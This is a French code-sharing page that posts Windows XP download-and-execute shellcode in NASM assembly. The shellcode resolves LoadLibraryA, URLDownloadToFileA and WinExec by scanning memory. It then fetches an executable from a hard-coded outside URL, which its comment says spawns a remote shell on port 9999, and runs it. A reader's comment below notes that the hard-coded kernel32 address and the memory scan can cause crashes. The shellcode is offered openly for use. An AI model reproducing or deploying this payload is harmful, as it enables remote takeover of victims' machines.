Soyez le premier à donner votre avis sur cette source.
Snippet vu 9 693 fois - Téléchargée 28 fois
; Nice theorhetically generic url download and execute ; shellcode for Windows XP. ; ; Heck, atleast it saves you using tftp! ; ; Peter4020@hotmail.com ; ; nasmw -s -fbin -o download.s download.asm bits 32 start: jmp short avoidnastynulls continue: pop edi ; edi = 'urlmon.dll' mov esi, edi mov al, 0ffh repne scasb inc byte [edi-01h] ; edi = string of url mov ebx, edi mov al, 0ffh repne scasb inc byte [edi-01h] ; edi = path of download mov edx, edi repne scasb inc byte [edi-01h] push edx push ebx push edx push esi mov ebx, 0c25b5effh mov ecx, 0deadc0deh mov edi, 77e60101h trawlmem: inc edi mov al, 0ffh repne scasb jmp short checkbytes nop checkbytes: dec edi push dword [edi] pop esi cmp ebx, esi je short gotcha jmp short trawlmem jmp short pastpoint avoidnastynulls: jmp short data pastpoint: gotcha: lea eax, [edi-2eh] ; get to start of loadlibrarya function call eax ; call loadlibrarya pop edx pop ebx push edx xor ecx, ecx push ecx push ecx push edx ; path of download push ebx ; url of download push ecx mov ebx, 8d8d5602h mov ecx, 0badc0dedh mov edi, eax ; eax = base of urlmon.dll trawlmem2: inc edi mov al, 002h repne scasb jmp short checkbytes2 nop checkbytes2: dec edi push dword [edi] pop esi cmp ebx, esi je short gotcha2 jmp short trawlmem2 gotcha2: lea eax, [edi-1bh] ; get to start of urldownloadtofilea function call eax ; call urldownloadtofilea pop edx xor ecx, ecx ;inc ecx push ecx push edx mov ebx, 0c458b66h mov ecx, 1337f00dh mov edi, 77e60101h trawlmem3: inc edi mov al, 066h repne scasb jmp short checkbytes3 nop checkbytes3: dec edi push dword [edi] pop esi cmp ebx, esi je short gotcha3 jmp short trawlmem3 gotcha3: lea eax, [edi-16h] ; get to start of winexec function call eax ; call winexec mov ecx, 0deadc0deh infloop: ; infinite loop; no crash when done inc ecx cmp ecx, 0badc0dedh loopnz infloop ; if this slows you down too much, remove it! int 3h data: call continue db 'URLMON.DLL', 0ffh db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address spawns remote shell on port 9999 db 'c:\nc.exe', 0ffh
je ne l'ai pas tésté mais je l'ai lu et relu, et je crois qu'il y a un petit problem avec ce code:
- il suppose que kernel32.dll est à l'adresse 77e60101h se qui n'est pas toujour le cas, avec XP home, l'adresse de kernel32.dll est dans un interval qui commence à 77e60000h
- il peux cracher acause d'une violation d'acces en scanant la memoire avec la boucle
trawlmem:
inc edi ;<- edi contien l'adress de kernel32.dll
; edi = 77e60101h + 1
mov al, 0ffh
repne scasb
jmp short checkbytes
nop
checkbytes:
dec edi
push dword [edi]
pop esi
cmp ebx, esi ;<- la, il va cracher car il veut lire
; à une adresse reserver à l'execution
je short gotcha
jmp short trawlmem
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.